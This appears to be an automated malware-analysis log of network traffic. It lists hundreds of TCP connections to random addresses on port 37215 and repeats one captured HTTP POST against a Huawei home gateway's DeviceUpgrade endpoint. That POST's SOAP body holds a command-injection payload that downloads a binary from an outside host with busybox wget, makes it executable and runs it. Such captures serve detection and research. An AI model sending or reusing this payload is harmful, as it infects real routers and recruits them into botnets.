Source: global traffic TCP traffic: 192.168.2.23:1535 -> 135.240.161.112:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.175.101.221:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.157.148.161:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 148.186.209.15:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.162.107.3:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 80.41.101.30:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.103.124.99:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 161.112.115.71:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.104.67.128:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 62.139.173.2:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 120.52.202.133:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.13.13.2:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.248.134.205:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.68.197.113:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.225.182.250:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.246.138.81:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.79.188.158:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.200.227.155:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 31.60.149.129:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.213.76.55:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.100.87.11:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.32.47.230:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 203.234.108.246:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.33.13.148:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 78.140.4.198:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.137.15.2:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.37.146.239:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.45.130.69:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.41.79.230:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 148.148.125.169:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.88.3.187:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 206.79.239.65:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.133.67.173:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.22.223.85:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 177.239.190.14:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.127.156.93:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.238.147.108:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.37.83.124:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.71.196.168:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.170.104.108:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.120.202.60:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 140.231.65.78:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.43.223.145:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.129.164.225:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.162.161.151:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.209.212.16:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.110.108.225:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.254.173.230:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 177.169.155.77:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 32.35.93.104:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 198.180.24.6:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 57.235.47.82:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.22.243.93:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.115.86.74:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 165.81.224.81:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 217.56.35.214:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.46.18.10:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 198.154.125.139:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.168.18.247:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 212.155.21.16:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.102.179.34:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.48.157.133:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.174.245.105:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.77.154.127:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.34.31.200:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 76.70.169.72:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.110.87.200:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.234.154.49:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.191.194.241:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 178.147.201.253:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.163.168.60:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.102.48.241:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.113.137.202:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.149.108.238:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.227.10.204:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.176.212.227:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 165.59.11.38:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.23.159.18:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.42.75.213:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 181.17.240.222:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.43.5.193:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.67.143.164:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.12.190.63:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 89.152.161.133:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.246.34.182:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 88.229.247.192:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 57.205.25.140:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.4.101.194:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.81.222.22:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.90.115.47:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.62.150.65:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 89.232.229.195:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 190.13.5.22:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.147.129.251:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.127.229.29:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.78.65.218:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 86.114.238.201:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.235.4.36:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 200.243.218.201:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.10.239.74:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 20.237.60.101:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.101.110.117:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.148.47.38:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.223.241.34:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.176.120.5:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.209.44.33:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.28.183.75:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.166.107.60:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.70.106.103:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.156.58.47:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.198.184.42:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.45.31.62:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.159.206.9:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.138.236.146:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 38.14.72.231:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.5.100.175:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.39.154.29:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 91.155.59.149:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.157.76.237:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.54.186.61:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.250.58.103:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.138.247.41:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.232.129.31:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.179.85.207:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 167.199.49.200:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.186.246.96:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 34.201.26.218:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.231.169.36:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.10.147.91:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.54.117.163:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 113.2.189.243:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 49.129.243.196:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 74.141.17.82:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 90.95.108.221:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.187.210.119:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.188.197.212:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.130.53.64:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.10.2.245:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.9.240.144:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 205.74.112.51:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.213.234.198:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 46.246.65.215:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 169.217.59.98:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 58.175.224.124:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.212.69.97:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.192.17.232:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.145.8.162:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 110.61.116.77:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 194.65.90.145:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.210.134.149:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 219.232.77.15:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 150.219.3.247:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 158.79.112.36:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.139.9.188:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 94.219.112.124:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.242.122.243:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.207.95.202:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.152.191.182:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.134.249.240:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.211.226.74:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.20.202.42:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.204.117.161:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.75.110.24:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.248.142.79:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.129.30.228:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 123.173.69.201:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.38.65.69:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.174.104.143:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.168.22.136:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.76.183.62:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.54.177.184:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.122.118.193:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.105.243.40:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.88.137.151:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.33.5.3:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.87.155.140:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.177.160.209:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.161.172.216:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.232.82.146:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.242.176.216:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 1.186.223.208:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 39.114.162.52:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 115.114.236.8:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 210.113.66.207:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.202.95.178:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.141.183.124:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.156.176.166:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.121.182.118:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.37.200.174:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.125.189.35:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.154.70.87:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 80.22.216.159:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.13.0.150:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.12.195.125:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.123.226.61:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.24.182.157:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.5.125.2:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.209.79.145:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.119.216.179:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.3.69.197:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 105.120.48.139:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.213.94.78:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.82.119.39:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.110.39.132:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.77.32.149:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.77.17.187:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 66.39.101.222:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.248.182.77:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 99.60.52.178:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 132.102.255.165:37215
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 36 2e 32 32 34 2e 32 34 2e 32 34 39 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 156.224.24.249 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 36 2e 32 32 34 2e 32 34 2e 32 34 39 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 156.224.24.249 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 36 2e 32 32 34 2e 32 34 2e 32 34 39 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 156.224.24.249 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 36 2e 32 32 34 2e 32 34 2e 32 34 39 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 156.224.24.249 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
